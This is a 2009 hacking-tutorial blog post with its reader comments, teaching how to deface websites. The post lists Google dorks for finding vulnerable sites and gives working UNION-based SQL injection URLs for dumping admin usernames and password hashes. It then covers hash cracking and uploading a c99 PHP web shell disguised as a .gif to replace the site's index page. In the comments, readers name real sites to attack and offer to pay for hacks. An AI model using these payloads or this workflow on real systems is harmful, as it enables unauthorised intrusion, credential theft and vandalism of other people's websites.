Monday, December 28, 2009

Hacking class 14 - How to Deface Websites using SQL and Php scripting?


Hello Guys , Sorry for the Delay in this Class... Reason is Quite Simple My Annual End Semester Exams were going on....So I cannot waste much time on PC...
But Now I am Back... Now I will write the Tutorials that are really Dangerous...

Note: I and Hackingloops is Not responsible for any Misuse of these Tutorials. These are Just for Educational Purposes...So Don't Misuse Them!

Now Our Todays Discussion is on " How to Deface Websites using the SQL injection and PHP shell code Scripting".. Today I will show you the 100% working method for Hacking Websites and then Defacing them...

Hacking class 14 - How to Deface Websites using SQL and Php scripting

FIRST OF ALL YOU SHOULD KNOW WHAT IS DEFACEMENT??
Defacing a website simply means that we replace the index.html file of a site by our file. Now all the Users that open it will see our Page(i.e being uploaded by us).
For Defacing a website, three things that you need Most are:
1. SQL Injection(For analyzing website loops)
2. Admin Password
3. Shell Script (for getting Admin Controls)

Now Lets Start the Tutorial:
First of all I would Like to say that I have took some part of SQL injection Tutorial from my previous posts and a site http://www.exploit-db.com . Most of the Part is written by me so if you have any doubts I will clear them....

1. Finding the Target and the Admin Password
First of all we must find out our target website. I have collected a lot of dorks i.e the vulnerability points of the websites. Some Google Searches can be awesomely utilized to find out vulnerable Websites.. Below is example of some queries..
Examples: Open the Google and copy paste these queries...
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=

Here are some More Queries (use them without quotation marks)..


"add.asp?bookid="
"add_cart.asp?num="
"addcart.asp?"
"addItem.asp"
"add-to-cart.asp?ID="
"addToCart.asp?idProduct="
"addtomylist.asp?ProdId="
"adminEditProductFields.asp?intProdID="
"advSearch_h.asp?idCategory="
"affiliate.asp?ID="
"affiliate-agreement.cfm?storeid="
"affiliates.asp?id="
"ancillary.asp?ID="
"archive.asp?id="
"article.asp?id="
"aspx?PageID"
"basket.asp?id="
"Book.asp?bookID="
"book_list.asp?bookid="
"book_view.asp?bookid="
"BookDetails.asp?ID="
"browse.asp?catid="
"browse_item_details.asp"
"Browse_Item_Details.asp?Store_Id="
"buy.asp?"
"buy.asp?bookid="
"bycategory.asp?id="
"cardinfo.asp?card="
"cart.asp?action="
"cart.asp?cart_id="
"cart.asp?id="
"cart_additem.asp?id="
"cart_validate.asp?id="
"cartadd.asp?id="
"cat.asp?iCat="
"catalog.asp"
"catalog.asp?CatalogID="
"catalog_item.asp?ID="
"catalog_main.asp?catid="
"category.asp"
"category.asp?catid="
"category_list.asp?id="
"categorydisplay.asp?catid="
"checkout.asp?cartid="
"checkout.asp?UserID="
"checkout_confirmed.asp?order_id="
"checkout1.asp?cartid="
"comersus_listCategoriesAndProducts.asp?idCategory ="
"comersus_optEmailToFriendForm.asp?idProduct="
"comersus_optReviewReadExec.asp?idProduct="
"comersus_viewItem.asp?idProduct="
"comments_form.asp?ID="
"contact.asp?cartId="
"content.asp?id="
"customerService.asp?TextID1="
"default.asp?catID="
"description.asp?bookid="
"details.asp?BookID="
"details.asp?Press_Release_ID="
"details.asp?Product_ID="
"details.asp?Service_ID="
"display_item.asp?id="
"displayproducts.asp"
"downloadTrial.asp?intProdID="
"emailproduct.asp?itemid="
"emailToFriend.asp?idProduct="
"events.asp?ID="
"faq.asp?cartID="
"faq_list.asp?id="
"faqs.asp?id="
"feedback.asp?title="
"freedownload.asp?bookid="
"fullDisplay.asp?item="
"getbook.asp?bookid="
"GetItems.asp?itemid="
"giftDetail.asp?id="
"help.asp?CartId="
"home.asp?id="
"index.asp?cart="
"index.asp?cartID="
"index.asp?ID="
"info.asp?ID="
"item.asp?eid="
"item.asp?item_id="
"item.asp?itemid="
"item.asp?model="
"item.asp?prodtype="
"item.asp?shopcd="
"item_details.asp?catid="
"item_list.asp?maingroup"
"item_show.asp?code_no="
"itemDesc.asp?CartId="
"itemdetail.asp?item="
"itemdetails.asp?catalogid="
"learnmore.asp?cartID="
"links.asp?catid="
"list.asp?bookid="
"List.asp?CatID="
"listcategoriesandproducts.asp?idCategory="
"modline.asp?id="
"myaccount.asp?catid="
"news.asp?id="
"order.asp?BookID="
"order.asp?id="
"order.asp?item_ID="
"OrderForm.asp?Cart="
"page.asp?PartID="
"payment.asp?CartID="
"pdetail.asp?item_id="
"powersearch.asp?CartId="
"price.asp"
"privacy.asp?cartID="
"prodbycat.asp?intCatalogID="
"prodetails.asp?prodid="
"prodlist.asp?catid="
"product.asp?bookID="
"product.asp?intProdID="
"product_info.asp?item_id="
"productDetails.asp?idProduct="
"productDisplay.asp"
"productinfo.asp?item="
"productlist.asp?ViewType=Category&CategoryID= "
"productpage.asp"
"products.asp?ID="
"products.asp?keyword="
"products_category.asp?CategoryID="
"products_detail.asp?CategoryID="
"productsByCategory.asp?intCatalogID="
"prodView.asp?idProduct="
"promo.asp?id="
"promotion.asp?catid="
"pview.asp?Item="
"resellers.asp?idCategory="
"results.asp?cat="
"savecart.asp?CartId="
"search.asp?CartID="
"searchcat.asp?search_id="
"Select_Item.asp?id="
"Services.asp?ID="
"shippinginfo.asp?CartId="
"shop.asp?a="
"shop.asp?action="
"shop.asp?bookid="
"shop.asp?cartID="
"shop_details.asp?prodid="
"shopaddtocart.asp"
"shopaddtocart.asp?catalogid="
"shopbasket.asp?bookid="
"shopbycategory.asp?catid="
"shopcart.asp?title="
"shopcreatorder.asp"
"shopcurrency.asp?cid="
"shopdc.asp?bookid="
"shopdisplaycategories.asp"
"shopdisplayproduct.asp?catalogid="
"shopdisplayproducts.asp"
"shopexd.asp"
"shopexd.asp?catalogid="
"shopping_basket.asp?cartID="
"shopprojectlogin.asp"
"shopquery.asp?catalogid="
"shopremoveitem.asp?cartid="
"shopreviewadd.asp?id="
"shopreviewlist.asp?id="
"ShopSearch.asp?CategoryID="
"shoptellafriend.asp?id="
"shopthanks.asp"
"shopwelcome.asp?title="
"show_item.asp?id="
"show_item_details.asp?item_id="
"showbook.asp?bookid="
"showStore.asp?catID="
"shprodde.asp?SKU="
"specials.asp?id="
"store.asp?id="
"store_bycat.asp?id="
"store_listing.asp?id="
"Store_ViewProducts.asp?Cat="
"store-details.asp?id="
"storefront.asp?id="
"storefronts.asp?title="
"storeitem.asp?item="
"StoreRedirect.asp?ID="
"subcategories.asp?id="
"tek9.asp?"
"template.asp?Action=Item&pid="
"topic.asp?ID="
"tuangou.asp?bookid="
"type.asp?iType="
"updatebasket.asp?bookid="
"updates.asp?ID="
"view.asp?cid="
"view_cart.asp?title="
"view_detail.asp?ID="
"viewcart.asp?CartId="
"viewCart.asp?userID="
"viewCat_h.asp?idCategory="
"viewevent.asp?EventID="
"viewitem.asp?recor="
"viewPrd.asp?idcategory="
"ViewProduct.asp?misc="
"voteList.asp?item_ID="
"whatsnew.asp?idCategory="
"WsAncillary.asp?ID

Now The Admin password Hacking procedure starts:

You can also refer to my previous post of hacking websites:


Hacking websites : How to hack websites By using SQL Injection



1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar that means the Site is vulnerable to SQL injection.

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.



3). Check for UNION function
With union we can select more data in one sql statement.

So we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works .


4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

Let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this 
http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

I didn't see any paper covering this problem, so i must write it .


What we need is convert() function

i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version .



5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )

We know that table admin exists...

Now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up 

i.e md5 hash, mysql hash, sha1...

Now we must complete query to look nice 


For that we can use concat() function (it joins strings)

i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Now we get dislayed username:p
assword on screen, i.e admin:admin or admin:somehash

When you have this, you can login like admin or some superuser.


If can't guess the right table name, you can always try mysql.user (default)

It has user  password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.

for third table we put limit 2,1

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... 


To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
The first column is diplayed.

The second one (we change limit 0,1 to limit 1,1)

ie.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

The second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... 


If you wanna display column names for specific table use this query. (where clause)

Let's say that we found table users.

i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

Let's say that we found colums user, pass and email.

Now to complete query to put them all together.


For that we use concat() , i decribe it earlier.

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/


What we get here is user:p
ass:email from table users.

Example: admin:hash:whatever@blabla.com

** If you are too lazy for doing above stuff you can use tools they will do all the job:


1) Exploit scanner (this will find vulnerable websites)
Code:
http://rapidshare.com/files/24802790...oitscanner.zip


2) SQLi helpper (this tool will do all the injecting job and get you the pass or hash)
Code:
http://rapidshare.com/files/24802907...elperV.2.7.rar


*** use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept.

In some websites you can directly see the password but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password. 


To crack the password there are three ways
1) Check the net whether this hash is cracked before:
Download:
http://www.md5decrypter.co.uk


2) Crack the password with the help of a site:
Download::
http://www.milw0rm.com/cracker/insert.php


http://passcracking.com/index.php


3) Use a MD5 cracking software:
Download:
http://rapidshare.com/files/13696796...CF_2.10_2b.rar


Password = OwlsNest


2) DEFACING THE WEBSITE

After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.


1) You can use an admin finder website:
Code:
http://4dm1n.houbysoft.com/


2) You can use an admin finder software:


Code:
http://rapidshare.com/files/248020485/adminfinder.rar



After logging in as the admin you can upload photos to the site. so now you are going to upload a shell into the site using this upload facility.

Dowload the shell here:
http://rapidshare.com/files/248023722/c99.rar


Extract it you will get a c99.php upload it.
Some sites wont allow you to upload a php file. so rename it as c99.php.gif
Then upload it.

After that go to 
http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir)


find the c99.php.gif and click it..


Now you can see a big control pannel....
Now you can do what ever you want to do...
Search for the index.html file and replace it with your own file. 

So if any one goes to that site they will see your page....
After Doing This click on Logout and You are Done..

IF You Have Any Queries Ask Me!

68 comments:

  1. welcome back Lokesh... Nice to see you back..

    ReplyDelete
  2. Hey Welcome Back! Howz your exams Gone...

    Nice Tutorial.

    ReplyDelete
  3. fatta faati tutorial Man.......How ur exams Gone

    ReplyDelete
  4. awesome tutorial....Keep it up

    ReplyDelete
  5. Nice one! I like the software method as its too easy and too quick..hahaha
    It really works I have hacked one site..:P

    ReplyDelete
  6. hi lokesh! happy new yr:) Is there any tool to search vulnerability of any particular website for example like say www.xyz.com

    ReplyDelete
  7. Yes there is tool... Retina Scan ..It is used to scan the vulnerabilities in the website..

    ReplyDelete
  8. Thnx a lot :) happy new yr :)

    ReplyDelete
  9. Same to you Sajan! Lets this Year May God will fullfill all your Dreams!

    ReplyDelete
  10. Brother Lokesh... Can u plz.. tell me hacking using the software whose links you provided with 14th tutorial..

    I scan for the site.. i get some result.. now when i try to inject sql injection it takes hours and no rest.. insted there are some.. error message.. can u plz... help me on this..

    ReplyDelete
  11. This TUT is totally copied from HackForums.....
    :D

    ReplyDelete
  12. lol hackforums user has copied it from here... Check the publishing date..

    ReplyDelete
  13. nice job .....
    i think ur genious at hacking

    ReplyDelete
  14. i find a site http://www.solutionfocusedtrainers.co.uk/trainers.php?id=1

    it has only one column ,so the union not working
    what i have to do ?

    ReplyDelete
  15. can some one help me on how to delete my picture on a website

    ReplyDelete
  16. Hi I am Rafay Baloch the Founder of www.rafayhackingarticles.blogspot.com and the writter of the Book A Beginners Guide To Ethical hacking
    www.hacking-book.com , I have just launched the book and looking for new affiliates I am offering 50% of the commission to the new affiliates
    I recently Came across your website and found very Targeted for it, So I want to ask you if you are interested in promoting the book


    http://www.hacking-book.com/2010/08/affiliates-make-money.html

    ReplyDelete
  17. in d above tut u hv shown Union function to extract data on step 3, but if union function doesnt work, how to extract.....

    ReplyDelete
  18. hi i am sameer plz teel me how to hack a wbsits can u teel me my mob num 91+9208597966

    ReplyDelete
  19. soo many skiddies thinking defacing is hacking lol ,they dont even understand why sql injection works

    ReplyDelete
  20. but how to search for a site with "article.php?id=[number]" combination???

    ReplyDelete
  21. i found this site that gets the sql error but im not sure what to do next...
    http://www.dogongroup.com/component/option,com_hotproperty/Itemid,33/task,viewtype/id,5/sort,name/order,asc/limit,5/limitstart,20/'

    ReplyDelete
  22. dude i can't find the # of columns:
    strp 2 doesn't work

    ReplyDelete
  23. what should we do if there is no error for SQL syntax.. Need urgent reply.
    www.beamtele.com

    ReplyDelete
  24. when more than three venurablities are found at that time what can i do for finding the table name or a columna name

    ReplyDelete
  25. its not working atv all, i only get writings on the screen

    ReplyDelete
  26. hello brother.. its right that we hace a website which has some id. like ?id=8, ?id=90 but it is possible that many sites has no id like they use index.html, article.aspx then how we can hack these type of website???

    ReplyDelete
  27. sir, plz how about site like this http://www.guruslodge.com/index.php
    i cant check for vulnerability of the site

    ReplyDelete
  28. just.. good enough to start

    ReplyDelete
  29. Nice post. Its really nice sbo info for us. Thanks a lot!

    ReplyDelete
  30. dude can u post a tutioral on defacing using the tools

    ReplyDelete
  31. Hi sir. Is this still updated? I have tried the 1st and 2nd steps. But the union doesnt work. It never displayed a number on the screen. Do you have any alternate way of doing it sir?

    ReplyDelete
  32. hack this sites..!!! wwww.dreamwap.net.

    ReplyDelete
  33. Like to say that I have took some part of SQL injection

    ReplyDelete
  34. when i try the query http://www.site.com/news.php?id=5

    it shows the same page, it doesn't show error message.
    so how would i hack the site

    ReplyDelete
    Replies
    1. its mean the site is not vuln wiht SQL , try to find another vuln way . ie xss

      Delete
  35. When i tested to see if the site was vulnerable, i got a 404 error message. This has happened with a few websites ive tried. Does that mean its vulnerable?

    ReplyDelete
  36. hi..
    i want to know how to hack a website which doesnt have ?id=...
    but it is valnurable..

    ReplyDelete
    Replies
    1. there are a lot of google dorks avialable , try to find sites with another dork not "php?id="

      Delete
  37. Good Idea.... Thank You for sharing.....

    ReplyDelete
  38. how to hack a website which is not vulnerable ? can u pls share with us. ?

    ReplyDelete
  39. Hey dude, nice to see u again. Btw, can u fix the download link of the exploit scanner and SQLiHelper? the link that u share was broken.

    ReplyDelete
  40. Hi bro, thx for share awesome information. Can you fix some broken link? many thanks bro.

    ReplyDelete
  41. when i used http://vjit.ac.in/news.php?id=5 order by 1/* it says something like
    Not Found

    The requested URL /news.php was not found on this server.

    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
    Apache Server at vjit.ac.in Port 80
    what shd i do now,need some help...

    ReplyDelete
  42. WERE CAN WE PRACTISE THIS...AND DO WE NEED TO CHANGE OUR IP ADDRESS....MAIL ME AT cyb3rstudent@gmail.com

    ReplyDelete
    Replies
    1. ofcourse u need to hide ur location . go there its fine tool http://www.vpntool.com

      Delete
  43. an easy method please

    ReplyDelete
  44. all the download links are not having the files. please send me valid files to kumarwbl @ yahoo.com

    ReplyDelete
  45. who can break a wesite for me? for money ofcourse...alin85alin@rocketmail.com

    ReplyDelete
    Replies
    1. I Can What is the amount

      Delete
  46. Hi,
    how to find vulnerability for a particular website?for example,
    I means if i want to find vulnerability in all website of nokia.then what to do?

    ReplyDelete
  47. This comment has been removed by the author.

    ReplyDelete
  48. Lokesh Bro , all of these links which you provided for download does not working it comes up some some error . would you like to update those links ? please... I need those files . I have googled but no result , couldn't find files . Thanks

    ReplyDelete
  49. so many skiddies

    ReplyDelete
  50. any one can help me plz plz plz plz


    for hack a php site reply me on



    janekyunraj@gmail.com


    i will give exat that ur price


    plz reply

    ReplyDelete
  51. any one can hack A PHP site for me

    pllzzzzzzzzz



    reply me on


    janekyunraj@gmail.com


    plzzz

    ReplyDelete
  52. One thing that has made Port Washington Real Estate
    the most sought after investment as well. For March, she breaks down the homebuyer tax credit
    and later need to sell your house at an increased rate of speed, it is obvious that scarcity of land would
    always be present.

    Here is my webpage - 1 bedroom apartments

    ReplyDelete
  53. I got this website from my friend who informed me
    concerning this website and now this time I am browsing this web site
    and reading very informative articles or reviews at this place.|

    My site :: webpage ()

    ReplyDelete
  54. Have you ever considered about including a little bit more
    than just your articles? I mean, what you say is fundamental and all.

    But just imagine if you added some great graphics or
    videos to give your posts more, "pop"! Your content is excellent but with pics and
    videos, this site could certainly be one of the greatest in
    its niche. Fantastic blog!

    Also visit my homepage - cara membuat website

    ReplyDelete
  55. And please fix the mobile version of this website. For someone who is so into coding, it should be easy to write a few lines of CSS. Besides that, as much as I appreciate your efforts, you can't disregard the fact that your article is incomplete and you can't even be bothered to reply to comments. I think you could really make some money off of this website if you put some efforts into it. Other than that, nice work.

    ReplyDelete
  56. CaN i have your yahoo ID. i have a proposal which you would be interested in. contact me on youngestgabs

    ReplyDelete
  57. Please can anyone hack the website http://www.arrachmeart.com/.

    ReplyDelete

Please do not spam.

Designed by Hackingloops.